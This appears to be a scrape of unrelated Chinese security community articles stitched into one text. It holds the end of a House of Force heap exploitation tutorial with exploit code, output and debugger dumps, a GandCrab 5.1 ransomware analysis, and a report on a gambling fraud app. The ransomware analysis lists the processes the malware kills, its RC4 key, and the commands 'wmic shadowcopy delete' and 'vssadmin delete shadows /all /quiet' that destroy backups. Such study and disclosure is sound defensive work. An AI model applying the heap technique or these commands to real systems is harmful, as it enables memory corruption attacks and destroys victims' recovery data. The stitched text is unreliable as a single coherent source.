//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_addressnn");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08xn",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08xn",malloc_got_address);
//最后一次分配将会通过其余的代码提供服务并返回之前被注入的av->top +8
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected beforen");
}
### 运行结果
Welcome to the House of Force
The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.
The top chunk is a special chunk. Is the last in memory and is the chunk that will be resized when malloc asks for more space from the os.
In the end, we will use this to overwrite a variable at 0x602060.
Its current value is: This is a string that we want to overwrite.
Let's allocate the first chunk, taking space from the wilderness.
The chunk of 256 bytes has been allocated at 0x18b8000.
Now the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.
Real size (aligned and all that jazz) of our allocated chunk is 280.
Now let's emulate a vulnerability that can overwrite the header of the Top Chunk
The top chunk starts at 0x18b8110
Overwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.
Old size of top chunk 0x20ef1
New size of top chunk 0xffffffffffffffff
The size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.
Next, we will allocate a chunk that will get us right up against the desired region (with an integer
overflow) and will then be able to allocate a chunk right over the desired region.
The value we want to write to at 0x602060, and the top chunk is at 0x18b8110, so accounting for the header size,
we will malloc 0xfffffffffed49f30 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x18b8110
Now, the next chunk we overwrite will point at our target buffer.
malloc(100) => 0x602060!
Now, we can finally overwrite that value:
... old string: This is a string that we want to overwrite.
... doing strcpy overwrite with "YEAH!!!"...
... new string: YEAH!!!
### 调试
因为较为简单,只下了几个断点
35 intptr_t *p1 = malloc(256);
► 36 fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.n", p1 - 2);
50 *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
► 51 fprintf(stderr, "New size of top chunk %#llxn", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
67 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
► 68 fprintf(stderr, "nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,n"
70 void *new_ptr = malloc(evil_size);
► 71 fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %pn", new_ptr - sizeof(long)*2);
73 void* ctr_chunk = malloc(100);
► 74 fprintf(stderr, "nNow, the next chunk we overwrite will point at our target buffer.n");
首先我们申请chunk p1(256),此时
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 134897,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
可以看到我们的top chunk起始地址为0x63110而size为134897
之后我们将top chunk的size设为-1,也就是0xffffffffffffffff
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0xffffffffffffffff
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
此时因为top chunk 的size巨大,因此无论我们申请多少的空间,他都不会再调用mmap了
现在我们计算一下evil_size的大小
evil_size=bss_var-0x20-ptr_top
pwndbg> p/x evil_size
$7 = 0xffffffffffffef30
之后申请一个evil_size大小的chunk
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 18446744073709547329,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 PREV_INUSE {
prev_size = 0,
size = 4281,
fd = 0x2073692073696854,
bk = 0x676e697274732061,
fd_nextsize = 0x6577207461687420,
bk_nextsize = 0x6f7420746e617720
}
0x603108 {
prev_size = 0,
size = 0,
fd = 0xffffffffffffef41,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
现在我们新申请的chunk是从之前的top chunk起始的
此时如果我们再申请一个chunk就可以拿到我们想要申请的地址了
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603110 PREV_INUSE {
prev_size = 0,
size = 18446744073709547329,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x2073692073696854,
bk = 0x676e697274732061,
fd_nextsize = 0x6577207461687420,
bk_nextsize = 0x6f7420746e617720
}
0x6020c0 PREV_INUSE {
prev_size = 0,
size = 4169,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603108 {
prev_size = 0,
size = 0,
fd = 0xffffffffffffef41,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
## 总结
程序首先建立了一个全局变量bss_var,也就是我们需要攻击的地方
随后分配了chunk p1(256),现在我们的top chunk的size是一个比较小的值
因此我们假设有一个漏洞可以覆写top chunk的size,我们通过写入-1来使size变为一个巨大的数(0xffffffffffffffff)
此时无论我们再申请多大的空间,ptmalloc都不会再向系统申请调用mmap了(当然..如果把0xfffffffffffffff的空间都用完了还是会申请的
现在我们计算出了evil_size所需的值,也就是
evil_size=(bss_var-16)-(ptr_top)-16
此时我们先申请一个大小为evil_size的chunk,此时新指针和旧的top chunk在同一位置,而size正好是旧top
chunk到我们bss_var的差值
此时我们再申请一块chunk就可以获得我们想控制的var_bss了 | 社区文章 |
# GandCrab 5.1样本详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：360企业安全华南基地
## 概述
最近国外安全研究人员发现了GandCrab勒索病毒的V5.1最新版变种，360企业安全华南基地团队马上对此事进行了相关跟进，获取到了相应的变种样本，确认此样本为GandCrab勒索家族的最新的变种，新版本增加了大量花指令，大部分关键功能都是动态获取
API，并且所有关键字符串也都被加密了。文件加密算法采用RSA-2048+ salsa20，并且加密共享目录中的文件,
并使用漏洞进程提权还将系统中指定的文档和文件加密为随机字符后缀，然后对用户进行勒索。天擎已能对该勒索者进行查杀
## 技术细节详细分析
前期准备
首先GandCrab会遍历当前系统进程列表，如果匹配到指定的进程后则结束该进程。防止文件被占用，要结束的进程列表如下总共71个进程名字
msftesql.exe、sqlagent.exe、sqlbrowser.exe、sqlwriter.exe、oracle.exe、ocssd.exe、dbsnmp.exe、synctime.exe、agntsvc.exe、isqlplussvc.exe、xfssvccon.exe、sqlservr.exe、mydesktopservice.exe、ocautoupds.exe、encsvc.exe、firefoxconfig.exe、tbirdconfig.exe、mydesktopqos.exe、ocomm.exe、mysqld.exe、mysqld-nt.exe、mysqld-opt.exe、dbeng50.exe、sqbcoreservice.exe、excel.exe、infopath.exe、msaccess.exe、mspub.exe、onenote.exe、outlook.exe、powerpnt.exe、steam.exe、thebat.exe、thebat64.exe、thunderbird.exe、visio.exe、winword.exe、wordpad.exe、synctime.exe、dbsnmp.exe、oracle.exe、sqlwriter.exe、ocomm.exe、sqlbrowser.exe、sqlagent.exe、thebat.exe、isqlplussvc.exe、msftesql.exe、agntsvc.exe、xfssvccon.exe、sqlservr.exe、mydesktopservice.exe、ocautoupds.exe、encsvc.exe、firefoxconfig.exe、tbirdconfig.exe、mydesktopqos.exe、ocssd.exe、mysqld.exe、mysqld-nt.exe、mysqld-opt.exe、dbeng50.exe、sqbcoreservice.exe、excel.exe、mspub.exe、infopath.exe、msaccess.exe、onenote.exe、outlook.exe、powerpnt.exe、steam.exe
然后动态获取Kernel32模块地址，获取导出函数名称，并计算hash后与硬编码的hash比较获取函数地址如下:
0xC930EA1E = Process32Next
0x6C544060 = SetErrorMode
0x99A4299D = OpenProcess
通过预先设置好的硬编码做为RC4解密算法的key做进行解密，然后还原出每个字符串的原始内容，根据内容判断，是连接C2时使用的请求参数名。
参数名
---
pc_user
pc_name
pc_group
av
pc_lang
pc_keyb
os_major
os_bit
ransom_id
hdd
ip
Sub_id
version
最后将获取到的系统信息，再次使用RC4进行加密，使用的加密key值为 ：
.oj=294~!z3)9n-1,8^)o((q22)lb$
加密后的：
然后获取Windows版本信息
获取当前运行进程权限等级
然后判断当前自身进程权限，如果是低权限，则使用CVE-2018-8440 和 CVE-2018-8120进行提权，如下代码
然后使用WMI 将自身以管理员权限进行重启
获取操作系统语言版本 如果是以下语言时则退出加密，并删除程序
419（俄罗斯）422(乌克兰) 423(比利时) 428(塔吉克) 42B(亚美尼亚)42c(阿塞拜疆) 437(格鲁吉亚) 43f(吉尔吉斯坦)
440(吉尔吉斯斯坦) 442(土库曼) 443(乌兹别克斯坦) 444(鞑靼斯坦) 818(未知) 819(未知) 82c(阿塞拜疆)
843(乌兹别克)45A 叙利亚语(叙利亚) 2801 阿拉伯语(叙利亚)
使用磁盘序列号计算hash后，创建名为GLobal\<hash>.fuck 互斥体，防止多次运行
在这个版本中仍就点名安全研究员 @hashbreaker Daniel J. Bernstein
## 开始加密
做完上文中说的事情后，开始进入加密文件的流程，通过两层解密后得到RSA-2048公钥：
首先使用硬编码的RC4算法进行解密，然后再进行xor算法得到密文
然后再使用下图解密出来的KEY再次去解密，最终得到RSA的公钥明文
解密后的RSA-2048 公钥：
不进行加密的文件后缀：
不加密的后缀列表如下：
.cab .cpl .cur .diagcab .diagpkg .dll .drv .lock .hlp .ldf .icl .icns .ico
.ics .lnk .key .idx .mod .mpa.msc .msp .msstyles .msu .nomedia .ocx .prf .rom
.rtp .scr .shs.spl .sys .theme .themepack .exe .bat .cmd .gandcrab .KRAB .CRAB
.zerophage_i_like_your_pictures
要加密的文件后缀列表如下：
随机生成字符串作为加密后的文件扩展名，写入到注册表
HKEY_LOCAL_MACHINE\SOFTWARE\ex_data\data[ext]，该字符串作为被加密文件后缀，如下图所示：
然后生成一对RSA-2048密钥，并导出PUBLICKEYBLOB和PRIVATEKEYBLOB 用于加密salsa20
算法的key（用于加密文件的key）
创建注册表SOFTWARE\keys_data\data
写入注册表前生成的RSA-2048公钥
1. 导入硬编码公钥
sub_2040EC函数导入硬编码的RSA2048公钥来加密生成的8位随机数和32位随机数
使用硬编码的公钥加密8位、32位随机字符串，以及生成的RSA-2048私钥，随后将加密的信息写入注册表
写入加密后的私钥大小+32位随机字符+8位随机字符+加密后的私钥
2. 解密勒索字符串信息
使用Base64加密之前的key以及收集的pc信息，拼接到勒索提示文件中
解密勒索提示文本内容，如下图所示
最终写入的勒索提示文件，如下图所示：
3. 加密文件
加密可用局域网共享目录下的文件
加密磁盘目录下的文件
写入勒索提示文本JBKJFFEII-DECRYPT.txt
写入.lock文件
排除特定文件
加密文件内容
追加加密信息到文件末尾
创建勒索桌面壁纸文件到C:\Users\<USERNAME> \AppData\Local\Temp\bxmeoengtf.bmp
通过修改注册表HKCU\Control Panel\Desktop\Wallpaper设置壁纸
4. 删除卷影拷贝
检测如果WMI可用，则使用WMI命令删除卷影拷贝:
C:\Windows\system32\wbem\wmic.exe shadowcopy delete
否则使用CMD命令删除：
C:\Windows\system32cmd.exe /c vssadmin delete shadows /all /quiet
## 查杀、防御技术方案
* 不要打开来历不明的邮件附件
* 在Windows中禁用U盘的“自动运行”功能
* 打齐操作系统安全补丁，及时升级Web、数据库等服务程序，防止病毒利用漏洞传播
* 避免使用弱口令，采用复杂密码，设置登录失败次数限制，防止暴力破解攻击
* 安装杀毒软件，定期扫描电脑，及时升级更新病毒库保持杀毒软件的良好运行
* 提高安全意识，保持良好的上网习惯，重要数据做好备份
## 关于360天擎新一代终端安全管理系统
360天擎新一代终端安全管理系统是360企业安全集团为解决政企机构终端安全问题而推出的一体化解决方案，是中国政企客户3300万终端的信赖之选。系统以功能一体化、平台一体化、数据一体化为设计理念，以安全防护为核心，以运维管控为重点，以可视化管理为支撑，以可靠服务为保障，能够帮助政企客户构建终端防病毒、入侵防御、安全管理、软件分发、补丁管理、安全U盘、服务器加固、安全准入、非法外联、运维管控、主机审计、移动设备管理、资产发现、身份认证、数据加密、数据防泄露等十六大基础安全能力，帮助政企客户构建终端威胁检测、终端威胁响应、终端威胁鉴定等高级威胁对抗能力，为政企客户提供安全规划、战略分析和安全决策等终端安全治理能力。
[](https://p3.ssl.qhimg.com/t0162de226c86b2fa2c.png) | 社区文章 |
# 独家揭秘！到底是谁在“生产”害人不浅的博彩APP？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，接到360手机先赔用户反馈，使用彩票跟投（自动下注）软件在指定的博彩平台充值下注，前期盈利后期博彩平台无法访问后得知受骗。
## 起底“智xx”平台
自带推算彩票走势和中奖率算法，帮助用户在指定的博彩平台自动下注。在用户设置止盈资金后，根据倍投计划，帮助用户争取最大的收益。
### “智xx”平台使用方法
①填写注册用户名、注册密码、邀请码、验证码完成注册
②购买平台会员，月卡费用几百元
③完成指定博彩平台注册，并与其进行账户绑定
④选择并设置跟投方案，设置止盈收益，开启方案和计划后，可自动在博彩平台（幸运28）下注。
## 诈骗原理
诈骗团伙以智xx破解了幸运28博彩平台，用户使用智xx跟投计划能够盈利为噱头，吸引用户购买智xx服务。通过对此类手法挖掘，发现如下图展示的博彩网赚平台，也同样宣称对接了77xx彩票平台。
**这类跟投软件要么宣称破解了彩票平台的接口，要么宣称与彩票平台有合作。**
但实际上，通过网址分析，发现幸运28平台的网址与智xx网址存在网络关联性，都为同一个团伙运作。意味着
**所谓的跟投计划、盈利计划，只是平台方诱导用户充值的手段。**
这就相当于给用户开发了一个专门用于计算自己博彩平台胜率、让用户自己赚自己平台钱的软件，这本身是自相矛盾的。
## 安全课堂
n在网络赌博的两端，一头是居心叵测的庄家，一头是任人摆布的赌客，往往不需要太长时间，后者就能倾家荡产。
n沉迷网络赌博不仅影响自己，还会影响到身边的亲友，请广大群众勿存侥幸心理，远离这些行为。
## 技术延伸
### 博彩诈骗APP搭建框架分析
通过对“智xx”网站分析发现，推测其使用的某APP搭建框架开发，用户在实名后，即可使用APP搭建框架提供的“免费”云空间（服务器）、应用模板、SDK、网页托管等一站式应用搭建服务。
**APP搭建框架**
使用APP搭建框架实名后，使用指定的代码编辑器，绑定指定的服务器空间，上传即可完成应用制作， **支持生成web、App、小程序多端的应用。**
**备案域名白名单机制**
各家小程序平台，均要求在小程序管理后台配置小程序应用的联网服务器域名，否则无法联网。而使用APP搭建框架后，开发者将不再需要自己购买、备案域名，直接将APP搭建框架的域名填写在小程序管理后台即可。
**用户邀请机制**
可设置设置用户邀请码：
**综合看来**
，APP搭建框架需要实名制使用，给开发者提供了免费的云空间、二级域名、统一的服务器、应用管理后台。在移动互联网时代，APP盛行的情况，这种技术在服务开发者的同时，也给诈骗团伙提供的便利。 | 社区文章 |
Subsets and Splits